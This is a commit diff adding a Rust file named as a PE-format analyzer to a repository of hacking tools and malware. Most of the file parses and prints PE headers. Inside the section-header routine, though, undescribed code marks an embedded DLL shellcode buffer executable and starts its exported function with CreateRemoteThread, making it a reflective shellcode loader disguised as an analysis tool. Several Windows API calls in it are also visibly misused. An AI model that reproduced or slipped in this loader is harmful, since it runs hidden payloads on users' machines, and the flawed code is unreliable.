Skip to content

This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.

Create pe_analyzer.rs

Abdul Wahab Junaid14bfc5ed63c9
diff --git a/Rust for Hacking/Analysis/pe_analyzer.rs b/Rust for Hacking/Analysis/pe_analyzer.rs
new file mode 100644
index 0000000..31b01a2
--- /dev/null
+++ b/Rust for Hacking/Analysis/pe_analyzer.rs
@@ -0,0 +1,547 @@
+/*
+This code is meant to analyze the Portable Executable (PE) file format.
+ [+] PE Header [ e_lfanew (0x3C) = Contains Offset to NT Header (0x80) ]
+ [+] COFF File Header peHeader, machine, NumberofSections, TimeDateStamp, SizeOfOptionalHeader
+ [+] Section Header
+ [+] Export Directory
+ [+] RVA & RVAOffset
+
+For More codes: https://github.com/Whitecat18
+By @5mukx
+*/
+use winapi::um::synchapi::WaitForSingleObject;
+use winapi::um::{memoryapi::VirtualProtect, minwinbase::LPTHREAD_START_ROUTINE, processthreadsapi::CreateRemoteThread};
+mod reflect;
+use std::ptr::null_mut;
+use winapi::um::winnt::PAGE_EXECUTE_READ;
+
+
+// use pe_parser::{PeFile, PeResult};
+
+// importing from another image
+
+// use crate::reflect::*;
+
+const MAX_PATH: usize = 260;
+
+
+fn find_export_directory_info(pointer_to_raw_data: usize, virtual_address_offset: usize, pe_analyzer: &[u8]) -> usize{
+
+ println!("INSIDE FIND EXPORT DIRECTORY !");
+ println!(
+ " [-] [0x{:04x}] [exportFlags] : 0x{:02X}{:02X}{:02X}{:02X}",
+ pointer_to_raw_data,
+ pe_analyzer[pointer_to_raw_data + 3],
+ pe_analyzer[pointer_to_raw_data + 2],
+ pe_analyzer[pointer_to_raw_data + 1],
+ pe_analyzer[pointer_to_raw_data]
+ );
+
+ let time_date_stamp_offset = pointer_to_raw_data + 0x4;
+ println!(
+ " [-] [0x{:04x}] [Time/DateStamp] : 0x{:02X}{:02X}{:02X}{:02X}",
+ time_date_stamp_offset,
+ pe_analyzer[time_date_stamp_offset + 3],
+ pe_analyzer[time_date_stamp_offset + 2],
+ pe_analyzer[time_date_stamp_offset + 1],
+ pe_analyzer[time_date_stamp_offset]
+ );
+
+ let major_version_offset = time_date_stamp_offset + 0x4;
+ println!(
+ " [-] [0x{:04x}] [majorVersion] : 0x{:02X}{:02X}",
+ major_version_offset,
+ pe_analyzer[major_version_offset + 1],
+ pe_analyzer[major_version_offset]
+ );
+
+ let minor_version_offset = major_version_offset + 0x2;
+ println!(
+ " [-] [0x{:04x}] [minorVersion] : 0x{:02X}{:02X}",
+ minor_version_offset,
+ pe_analyzer[minor_version_offset + 1],
+ pe_analyzer[minor_version_offset]
+ );
+
+ let name_rva_offset = minor_version_offset + 0x2;
+ println!(
+ " [-] [0x{:04x}] [nameRVA] : 0x{:02X}{:02X}{:02X}{:02X} (RVA to PE name)",
+ name_rva_offset,
+ pe_analyzer[name_rva_offset + 3],
+ pe_analyzer[name_rva_offset + 2],
+ pe_analyzer[name_rva_offset + 1],
+ pe_analyzer[name_rva_offset]
+ );
+
+ let ordinal_base_offset = name_rva_offset + 0x4;
+ println!(
+ " [-] [0x{:04x}] [ordinalBase] : 0x{:02X}{:02X}{:02X}{:02X}",
+ ordinal_base_offset,
+ pe_analyzer[ordinal_base_offset + 3],
+ pe_analyzer[ordinal_base_offset + 2],
+ pe_analyzer[ordinal_base_offset + 1],
+ pe_analyzer[ordinal_base_offset]
+ );
+
+ let address_table_entries_offset = ordinal_base_offset + 0x4;
+ println!(
+ " [-] [0x{:04x}] [addressTableEntries] : 0x{:02X}{:02X}{:02X}{:02X} (Count of functions in Export Address Table)",
+ address_table_entries_offset,
+ pe_analyzer[address_table_entries_offset + 3],
+ pe_analyzer[address_table_entries_offset + 2],
+ pe_analyzer[address_table_entries_offset + 1],
+ pe_analyzer[address_table_entries_offset]
+ );
+
+ let number_of_name_pointers_offset = address_table_entries_offset + 0x4;
+ println!(
+ " [-] [0x{:04x}] [numberOfNamePointers] : 0x{:02X}{:02X}{:02X}{:02X} (Count of entries in the name pointer table/ordinal table)",
+ number_of_name_pointers_offset,
+ pe_analyzer[number_of_name_pointers_offset + 3],
+ pe_analyzer[number_of_name_pointers_offset + 2],
+ pe_analyzer[number_of_name_pointers_offset + 1],
+ pe_analyzer[number_of_name_pointers_offset]
+ );
+
+ let export_address_table_rva_offset = number_of_name_pointers_offset + 0x4;
+ println!(
+ " [-] [0x{:04x}] [exportAddressTableRVA] : 0x{:02X}{:02X}{:02X}{:02X} (RVA of the Export Address Table)",
+ export_address_table_rva_offset,
+ pe_analyzer[export_address_table_rva_offset + 3],
+ pe_analyzer[export_address_table_rva_offset + 2],
+ pe_analyzer[export_address_table_rva_offset + 1],
+ pe_analyzer[export_address_table_rva_offset]
+ );
+
+ let name_pointer_rva_offset = export_address_table_rva_offset + 0x4;
+ println!(
+ " [-] [0x{:04x}] [namePointerRVA] : 0x{:02X}{:02X}{:02X}{:02X} (RVA of the Export Name Pointer Table)",
+ name_pointer_rva_offset,
+ pe_analyzer[name_pointer_rva_offset + 3],
+ pe_analyzer[name_pointer_rva_offset + 2],
+ pe_analyzer[name_pointer_rva_offset + 1],
+ pe_analyzer[name_pointer_rva_offset]
+ );
+
+ let ordinal_table_rva_offset = name_pointer_rva_offset + 0x4;
+ println!(
+ " [-] [0x{:04x}] [ordinalTableRVA] : 0x{:02X}{:02X}{:02X}{:02X} (RVA of the Ordinal Table)",
+ ordinal_table_rva_offset,
+ pe_analyzer[ordinal_table_rva_offset + 3],
+ pe_analyzer[ordinal_table_rva_offset + 2],
+ pe_analyzer[ordinal_table_rva_offset + 1],
+ pe_analyzer[ordinal_table_rva_offset]
+ );
+
+ let export_name_pointer_rva = ((pe_analyzer[name_pointer_rva_offset + 3] as usize) << 24)
+ | ((pe_analyzer[name_pointer_rva_offset + 2] as usize) << 16)
+ | ((pe_analyzer[name_pointer_rva_offset + 1] as usize) << 8)
+ | (pe_analyzer[name_pointer_rva_offset] as usize);
+
+ let edata_virtual_address =
+ ((pe_analyzer[virtual_address_offset + 3] as usize) << 24)
+ | ((pe_analyzer[virtual_address_offset + 2] as usize) << 16)
+ | ((pe_analyzer[virtual_address_offset + 1] as usize) << 8)
+ | (pe_analyzer[virtual_address_offset] as usize);
+
+ let export_name_pointer_file_offset =
+ (export_name_pointer_rva - edata_virtual_address) + pointer_to_raw_data;
+
+ println!(
+ " [-] [0x{:04x}] [exportNamePointerRVA] : 0x{:02X}{:02X}{:02X}{:02X}",
+ export_name_pointer_file_offset,
+ pe_analyzer[export_name_pointer_file_offset + 3],
+ pe_analyzer[export_name_pointer_file_offset + 2],
+ pe_analyzer[export_name_pointer_file_offset + 1],
+ pe_analyzer[export_name_pointer_file_offset]
+ );
+
+ let symbol_name_rva = ((pe_analyzer[export_name_pointer_file_offset + 3] as usize) << 24)
+ | ((pe_analyzer[export_name_pointer_file_offset + 2] as usize) << 16)
+ | ((pe_analyzer[export_name_pointer_file_offset + 1] as usize) << 8)
+ | (pe_analyzer[export_name_pointer_file_offset] as usize);
+
+ let symbol_file_offset = (symbol_name_rva - edata_virtual_address) + pointer_to_raw_data;
+ let mut symbol_name = [0u8; MAX_PATH];
+
+ for i in 0..MAX_PATH {
+ if pe_analyzer[symbol_file_offset + i] == 0 {
+ break;
+ }
+ symbol_name[i] = pe_analyzer[symbol_file_offset + i];
+ }
+
+ let symbol_name_str = String::from_utf8_lossy(&symbol_name[..]);
+ println!(" [-] [0x{:04x}] [symbolName] : {}", symbol_file_offset, symbol_name_str);
+
+ let export_address_table_rva = ((pe_analyzer[export_address_table_rva_offset + 3] as usize) << 24)
+ | ((pe_analyzer[export_address_table_rva_offset + 2] as usize) << 16)
+ | ((pe_analyzer[export_address_table_rva_offset + 1] as usize) << 8)
+ | (pe_analyzer[export_address_table_rva_offset] as usize);
+
+ println!(
+ " Calculation = (0x{:X} - 0x{:X}) + 0x{:X}",
+ export_address_table_rva, edata_virtual_address, pointer_to_raw_data
+ );
+
+ let symbol_rva_offset = (export_address_table_rva - edata_virtual_address) + pointer_to_raw_data;
+ let symbol_rva = ((pe_analyzer[symbol_rva_offset + 3] as usize) << 24)
+ | ((pe_analyzer[symbol_rva_offset + 2] as usize) << 16)
+ | ((pe_analyzer[symbol_rva_offset + 1] as usize) << 8)
+ | (pe_analyzer[symbol_rva_offset] as usize);
+ println!(" [-] [0x{:04x}] [symbolRVA] : 0x{:08X}", symbol_rva_offset, symbol_rva);
+ symbol_rva
+}
+
+fn find_section_headers(first_section_header_offset: usize, no_of_section: usize, pe_analyzer: &[u8]){
+
+ println!("\n [Sections headers start at: 0x{:04x}]", first_section_header_offset);
+ let mut next_section_header_offset = first_section_header_offset;
+
+ for i in 0..no_of_section {
+
+ let header_name = String::from_utf8_lossy
+ (&pe_analyzer[next_section_header_offset..next_section_header_offset + 8]);
+
+ println!(" [+] [Section Header {}]", i);
+ println!(" [+] [0x{:04x}] [Name] : {}", next_section_header_offset, header_name);
+
+ let virtual_size_offset = next_section_header_offset + 0x8;
+ println!(
+ " [+] [0x{:04x}] [VirtualSize] : 0x{:02X}{:02X}{:02X}{:02X}",
+ virtual_size_offset,
+ pe_analyzer[virtual_size_offset + 3],
+ pe_analyzer[virtual_size_offset + 2],
+ pe_analyzer[virtual_size_offset + 1],
+ pe_analyzer[virtual_size_offset]
+ );
+
+ let virtual_address_offset = virtual_size_offset + 0x4;
+ println!(
+ " [+] [0x{:04x}] [VirtualAddress] : 0x{:02X}{:02X}{:02X}{:02X}",
+ virtual_address_offset,
+ pe_analyzer[virtual_address_offset + 3],
+ pe_analyzer[virtual_address_offset + 2],
+ pe_analyzer[virtual_address_offset + 1],
+ pe_analyzer[virtual_address_offset]
+ );
+
+ let size_of_raw_data_offset = virtual_address_offset + 0x4;
+ println!(
+ " [+] [0x{:04x}] [SizeOfRawData] : 0x{:02X}{:02X}{:02X}{:02X}",
+ size_of_raw_data_offset,
+ pe_analyzer[size_of_raw_data_offset + 3],
+ pe_analyzer[size_of_raw_data_offset + 2],
+ pe_analyzer[size_of_raw_data_offset + 1],
+ pe_analyzer[size_of_raw_data_offset]
+ );
+
+ let pointer_to_raw_data_offset = size_of_raw_data_offset + 0x4;
+ println!(
+ " [+] [0x{:04x}] [PointerToRawData] : 0x{:02X}{:02X}{:02X}{:02X}",
+ pointer_to_raw_data_offset,
+ pe_analyzer[pointer_to_raw_data_offset + 3],
+ pe_analyzer[pointer_to_raw_data_offset + 2],
+ pe_analyzer[pointer_to_raw_data_offset + 1],
+ pe_analyzer[pointer_to_raw_data_offset]
+ );
+
+ let pointer_to_relocations_offset = pointer_to_raw_data_offset + 0x4;
+ println!(
+ " [+] [0x{:04x}] [PointerToRelocations] : 0x{:02X}{:02X}{:02X}{:02X}",
+ pointer_to_relocations_offset,
+ pe_analyzer[pointer_to_relocations_offset + 3],
+ pe_analyzer[pointer_to_relocations_offset + 2],
+ pe_analyzer[pointer_to_relocations_offset + 1],
+ pe_analyzer[pointer_to_relocations_offset]
+ );
+
+ let pointer_to_linenumbers_offset = pointer_to_relocations_offset + 0x4;
+ println!(
+ " [+] [0x{:04x}] [PointerToLinenumbers] : 0x{:02X}{:02X}{:02X}{:02X}",
+ pointer_to_linenumbers_offset,
+ pe_analyzer[pointer_to_linenumbers_offset + 3],
+ pe_analyzer[pointer_to_linenumbers_offset + 2],
+ pe_analyzer[pointer_to_linenumbers_offset + 1],
+ pe_analyzer[pointer_to_linenumbers_offset]
+ );
+
+ let number_of_linenumbers_offset = pointer_to_linenumbers_offset + 0x4;
+ println!(
+ " [+] [0x{:04x}] [NumberOfLinenumbers] : 0x{:02X}{:02X}{:02X}{:02X}",
+ number_of_linenumbers_offset,
+ pe_analyzer[number_of_linenumbers_offset + 3],
+ pe_analyzer[number_of_linenumbers_offset + 2],
+ pe_analyzer[number_of_linenumbers_offset + 1],
+ pe_analyzer[number_of_linenumbers_offset]
+ );
+
+ let characteristics_offset = number_of_linenumbers_offset + 0x4;
+ println!(
+ " [+] [0x{:04x}] [Characteristics] : 0x{:02X}{:02X}{:02X}{:02X}",
+ characteristics_offset,
+ pe_analyzer[characteristics_offset + 3],
+ pe_analyzer[characteristics_offset + 2],
+ pe_analyzer[characteristics_offset + 1],
+ pe_analyzer[characteristics_offset]
+ );
+
+ if header_name.contains(".edata") {
+ let first_byte = pe_analyzer[pointer_to_raw_data_offset + 3] as usize;
+ let second_byte = pe_analyzer[pointer_to_raw_data_offset + 2] as usize;
+ let third_byte = pe_analyzer[pointer_to_raw_data_offset + 1] as usize;
+ let fourth_byte = pe_analyzer[pointer_to_raw_data_offset] as usize;
+
+ let pointer_to_raw_data = (first_byte << 24) | (second_byte << 16) | (third_byte << 8) | fourth_byte;
+ let symbol_rva = find_export_directory_info(pointer_to_raw_data, virtual_address_offset, pe_analyzer);
+
+ let mut temp_section_header_offset = first_section_header_offset;
+ println!("temp_section_header_offset value: {:#?}", temp_section_header_offset);
+
+ for _ in 0..11 {
+ let section_virtual_address_offset = first_section_header_offset + 0xC;
+
+ let section_virtual_address = ((pe_analyzer[section_virtual_address_offset + 3] as usize) << 24)
+ | ((pe_analyzer[section_virtual_address_offset + 2] as usize) << 16)
+ | ((pe_analyzer[section_virtual_address_offset + 1] as usize) << 8)
+ | (pe_analyzer[section_virtual_address_offset] as usize);
+ let section_size_of_raw_data_offset = section_virtual_address_offset + 0x4;
+
+ let section_size_of_raw_data = ((pe_analyzer[section_size_of_raw_data_offset + 3] as usize) << 24)
+ | ((pe_analyzer[section_size_of_raw_data_offset + 2] as usize) << 16)
+ | ((pe_analyzer[section_size_of_raw_data_offset + 1] as usize) << 8)
+ | (pe_analyzer[section_size_of_raw_data_offset] as usize);
+ let section_pointer_to_raw_data_offset = section_size_of_raw_data_offset + 0x4;
+
+ let section_pointer_to_raw_data = ((pe_analyzer[section_pointer_to_raw_data_offset + 3] as usize) << 24)
+ | ((pe_analyzer[section_pointer_to_raw_data_offset + 2] as usize) << 16)
+ | ((pe_analyzer[section_pointer_to_raw_data_offset + 1] as usize) << 8)
+ | (pe_analyzer[section_pointer_to_raw_data_offset] as usize);
+
+ if symbol_rva > section_virtual_address
+ && symbol_rva < section_virtual_address + section_size_of_raw_data
+ {
+ let symbol_file_offset = (symbol_rva - section_virtual_address) + section_pointer_to_raw_data;
+ println!(" [*] [0x{:04x}] [symbolFileOffset] : 0x{:08X}", symbol_rva, symbol_file_offset);
+
+ let mut pe_analyzer_executable_buffer: Vec<u8> =
+ vec![0u8; pe_analyzer.len()];
+
+ pe_analyzer_executable_buffer
+ .copy_from_slice(&pe_analyzer[..pe_analyzer.len()]);
+
+ println!("------------------------ boxreflectDllExectuableBuffer: 0x{:x}", pe_analyzer_executable_buffer.as_ptr() as usize);
+
+ for i in 0..0x84 {
+ if i == 0x3c {
+ continue;
+ }
+ pe_analyzer_executable_buffer[i] = 0;
+ }
+
+ pe_analyzer_executable_buffer[0x80] = 0x23;
+ pe_analyzer_executable_buffer[0x81] = 0x12;
+
+ let fl_old_protect:u32 = 0;
+
+ unsafe {
+ VirtualProtect(
+ pe_analyzer_executable_buffer.as_mut_ptr() as *mut _,
+ pe_analyzer.len(),
+ PAGE_EXECUTE_READ,
+ fl_old_protect.clone() as *mut u32,
+ );
+ }
+
+ let symbol_executable_address: LPTHREAD_START_ROUTINE = unsafe{
+ std::mem::transmute((pe_analyzer_executable_buffer.as_ptr() as usize + symbol_file_offset) as usize)
+ };
+
+
+ let mut lp_thread_id = 0;
+ let h_thread = unsafe{
+ CreateRemoteThread(
+ null_mut(),
+ null_mut(), 1024 * 1024,
+ symbol_executable_address,
+ null_mut(),
+ 0,
+ &mut lp_thread_id,
+ )
+ };
+ unsafe{
+ WaitForSingleObject(h_thread, 0xFFFFFFFF);
+ }
+ break;
+ }
+ temp_section_header_offset += 0x28;
+ }
+ }
+ next_section_header_offset += 0x28;
+ println!();
+ }
+}
+
+// IF you are interested, you can check this out ...
+// fn print_base_address(pe_file: &PeFile) {
+// if let Some(optional_header) = &pe_file.optional_header {
+// println!("Base Address: 0x{:x}", optional_header.image_base);
+// } else {
+// println!("Optional header not found.");
+// }
+// }
+
+// mod reflect;
+
+// Finding Rich Header ...
+
+
+// const RICH_HEADER_MAGIC: u32 = 0x68636952;
+// fn rich_header(file_path: &str) -> std::io::Result<()> {
+// let mut file = File::open(file_path)?;
+// let file_size = file.metadata()?.len();
+
+// file.seek(SeekFrom::End(-64))?;
+
+// let mut buffer = [0; 64];
+// file.read_exact(&mut buffer)?;
+
+// for i in (0..buffer.len() - 8).step_by(4) {
+// if u32::from_le_bytes([buffer[i], buffer[i + 1], buffer[i + 2], buffer[i + 3]]) == RICH_HEADER_MAGIC {
+// for j in 0..16 {
+// let offset = file_size - 64 + i as u64 + j;
+// println!(
+// " [0x{:X}] [Rich Header] {} : 0x{:02X}",
+// offset, j, buffer[i + j as usize]
+// );
+// }
+// break;
+// }
+// }
+
+// Ok(())
+// }
+
+const RICH_HEADER_MAGIC: u32 = 0x68636952;
+
+fn find_rich_header(pe_bytes: &[u8]) -> Option<usize> {
+ // Check if the Rich header magic exists in the byte array
+ for i in 0..(pe_bytes.len() - 8) {
+ if u32::from_le_bytes([
+ pe_bytes[i],
+ pe_bytes[i + 1],
+ pe_bytes[i + 2],
+ pe_bytes[i + 3],
+ ]) == RICH_HEADER_MAGIC
+ {
+ return Some(i);
+ }
+ }
+ None
+}
+
+
+fn main() {
+ let initial_offset: usize = 0x3c;
+
+ /*
+ If you want to analyze an shellcode dll etc.., you can follow the import method , call from the function
+ If you want to analyze an file , you can use include_bytes to read from file.
+ */
+
+
+ // ---- IMPORT METHOD ----
+
+ let pe_analyzer = reflect::boxreflect_dll_shellcode;
+ // let pe_analyzer = include_bytes!(bokacode);
+ // ---- FILE INCLUDE METHOD ----
+ // const PATH: &str = "../test.exe";
+
+ // let pe_analyzer = include_bytes!("../test.exe");
+
+ // Sorry guys. i am unable to write code for base addr. i have searched various resources
+ // for it but i can't able to find one
+
+ // For base address i have used an small crate "pe-parser" just to avoud such length verbose code.
+ // let base_addr = PeFile::from_file(PATH);
+
+
+ // but it requires rust 1.74 V
+ // println!("pe_analyzer base addr: 0x{:#?}", &base_addr);
+
+
+ // Calculate peHeaderOffset
+ let pe_header_offset: usize = (pe_analyzer[initial_offset + 2] as usize) << 16
+ | (pe_analyzer[initial_offset + 1] as usize) << 8
+ | pe_analyzer[initial_offset] as usize;
+
+ println!(" [0x{:x}] [peHeader offset] : 0x{:x}", initial_offset, pe_header_offset);
+
+ println!(
+ " [0x{:x}] [peHeader] : {}{}",
+ pe_header_offset,
+ pe_analyzer[pe_header_offset] as char,
+ pe_analyzer[pe_header_offset + 1] as char
+ );
+
+ // Calculate machineTypeOffset
+ let machine_type_offset: usize = pe_header_offset + 4;
+ println!(
+ " [0x{:x}] [machineType] : x{:x}{:x}",
+ machine_type_offset,
+ pe_analyzer[machine_type_offset + 1],
+ pe_analyzer[machine_type_offset]
+ );
+
+
+ // Calculate RichHeader
+ // if using shllcode pe means use reference here &-> V
+ if let Some(rich_header_offset) = find_rich_header(&pe_analyzer) {
+ for i in 0..16 {
+ let offset = rich_header_offset + i;
+ println!(
+ " [0x{:X}] [RichHeader]{} : 0x{:02X}",
+ offset, i, pe_analyzer[offset]
+ );
+ }
+ } else {
+ println!("[0x84] [RichHeader] Not found");
+ }
+
+ // Calculate noOfSectionsOffset and noOfSections
+ let no_of_sections_offset: usize = machine_type_offset + 0x2;
+ let no_of_sections: u16 = ((pe_analyzer[no_of_sections_offset + 1] as u16) << 8)
+ | (pe_analyzer[no_of_sections_offset] as u16);
+
+ println!(
+ " [0x{:x}] [noOfSections] : ({}) 0x{:x}",
+ no_of_sections_offset, no_of_sections, no_of_sections
+ );
+
+
+ // Calculate timeDateStampOffset
+ let time_date_stamp_offset: usize = no_of_sections_offset + 0x2;
+ println!(
+ " [0x{:x}] [timeDateStamp] : 0x{:x}{:x}{:x}{:x}",
+ time_date_stamp_offset,
+ pe_analyzer[time_date_stamp_offset + 3],
+ pe_analyzer[time_date_stamp_offset + 2],
+ pe_analyzer[time_date_stamp_offset + 1],
+ pe_analyzer[time_date_stamp_offset]
+ );
+
+ // Calculate sizeOfOptionalHeaderOffset and sizeOfOptionalHeader
+ let size_of_optional_header_offset: usize =
+ time_date_stamp_offset + 0x4 + 0x4 + 0x4;
+ let size_of_optional_header: u16 = ((pe_analyzer[size_of_optional_header_offset + 1] as u16) << 8)
+ | (pe_analyzer[size_of_optional_header_offset] as u16);
+ println!(
+ " [0x{:x}] [sizeOfOptionalHeader] : 0x{:x}",
+ size_of_optional_header_offset, size_of_optional_header
+ );
+
+ // Calculate firstSectionHeaderOffset
+ let first_section_header_offset = size_of_optional_header_offset + 0x2 + 0x2 + size_of_optional_header as usize;
+ // if using shllcode pe means use reference here &-> V
+ find_section_headers(first_section_header_offset, no_of_sections as usize, &pe_analyzer);
+}